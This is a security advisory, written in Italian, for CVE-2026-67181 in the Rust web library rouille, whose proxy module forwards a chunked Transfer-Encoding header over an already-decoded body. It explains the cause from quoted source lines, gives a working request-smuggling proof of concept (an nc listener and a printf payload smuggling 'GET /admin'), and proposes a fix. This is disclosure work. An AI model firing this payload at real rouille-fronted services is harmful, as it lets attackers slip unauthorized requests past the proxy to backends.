
Avviso di sicurezza: HTTP Request Smuggling tramite desincronizzazione del Transfer-Encoding (rouille)
ID CVE assegnato: CVE-2026-67181
rouille::proxy::proxy inoltra l'header Transfer-Encoding del client al
backend senza modifiche, ma scrive il corpo della richiesta che tiny_http ha già
privato della codifica chunked. Non emette mai un Content-Length proprio. Al backend viene
detto che il corpo è chunked e vengono passati byte che non sono chunked, quindi è il
client, non rouille, a decidere dove il backend pensa che il corpo termini.
Repo URL: https://github.com/tomaka/rouille
| Prima versione interessata | 0.3.3 (2016-12-03), la versione che ha introdotto src/proxy.rs |
| Ultima versione interessata | 3.6.2 (2023-04-24), la versione attuale |
| Non interessate | 0.3.2 e precedenti, che non hanno il modulo proxy |
| Corretta in | nessuna versione corretta al momento della scrittura |
src/proxy.rs è byte-identico tra il tag 3.6.2 e l'attuale master.
Sono interessate solo le applicazioni che chiamano proxy::proxy o
proxy::full_proxy.
CWE-444 (Interpretazione incoerente delle richieste HTTP).
Punteggio base CVSS 4.0 6.3 (Medio)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Un client remoto e non autenticato che invia HTTP grezzo a un'applicazione rouille che funge da reverse proxy. Non sono necessarie credenziali né interazione con l'utente.
L'impatto dipende dal backend. I backend che operano in pipeline nonostante
Connection: close, e qualsiasi intermediario con pool di connessioni posto tra
rouille e l'origine, agiranno sulla richiesta contrabbandata. I backend che
rispettano Connection: close si ritrovano comunque con un corpo della richiesta
diverso da quello inviato dal client e da quello osservato da rouille.
tiny_http rimuove la codifica chunked ogni volta che è presente un header
Transfer-Encoding e scarta Content-Length.
tiny_http-0.12.0/src/request.rs, righe 149-159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, righe 218-221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs inoltra quindi ogni header tranne Connection e copia
il corpo decodificato. Righe 167-174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Il Transfer-Encoding: chunked del client sopravvive alla riga 171. La riga 174
scrive il testo in chiaro prodotto dal Decoder. Non viene mai scritto un
Content-Length, quindi il backend non ha altro su cui basarsi per la
delimitazione e applica il parsing chunked a un testo in chiaro scelto
dall'attaccante.
Passaggio 1. Avvia un listener grezzo sulla porta 8001 per fungere da backend e mostrare i byte che rouille invia.
nc -l 127.0.0.1 8001 | cat -v
Passaggio 2. Avvia un frontend rouille sulla porta 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Passaggio 3. Invia una richiesta con codifica chunked corretta il cui corpo decodificato è a sua volta uno stream chunked che termina subito, seguita da una seconda richiesta. Il singolo chunk è lungo 0x3d = 61 byte.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Risultato. Il listener del passaggio 1 mostra rouille che annuncia una delimitazione chunked e poi invia testo in chiaro:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Un backend che rispetta Transfer-Encoding: chunked legge la riga con la
dimensione del chunk 0, conclude che il corpo è vuoto e interpreta i restanti
56 byte come una nuova richiesta.
La visione del corpo della richiesta da parte del backend differisce sia dai byte inviati dal client sia dai byte letti da rouille. Qualsiasi componente a monte che registri, controlli o replichi il corpo registra qualcosa di diverso da ciò su cui il backend ha agito.
Quando il backend opera in pipeline nonostante Connection: close, o quando un
intermediario con pool di connessioni si trova tra rouille e l'origine, i byte
finali diventano una seconda richiesta con metodo e percorso scelti
dall'attaccante.
Anche il Content-Length del client viene inoltrato, nonostante tiny_http lo
abbia ignorato, quindi un backend che preferisce Content-Length a
Transfer-Encoding ottiene direttamente una desincronizzazione CL.TE.
Non inoltrare header di delimitazione che descrivono un corpo che rouille ha già
decodificato. In src/proxy.rs, estendi il salto alla riga 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Quindi emetti una delimitazione che corrisponda a ciò che viene effettivamente
scritto: bufferizza il corpo e invia un Content-Length accurato, oppure
ricodificalo in chunk e invia tu stesso Transfer-Encoding: chunked, prima del
\r\n\r\n di terminazione alla riga 173.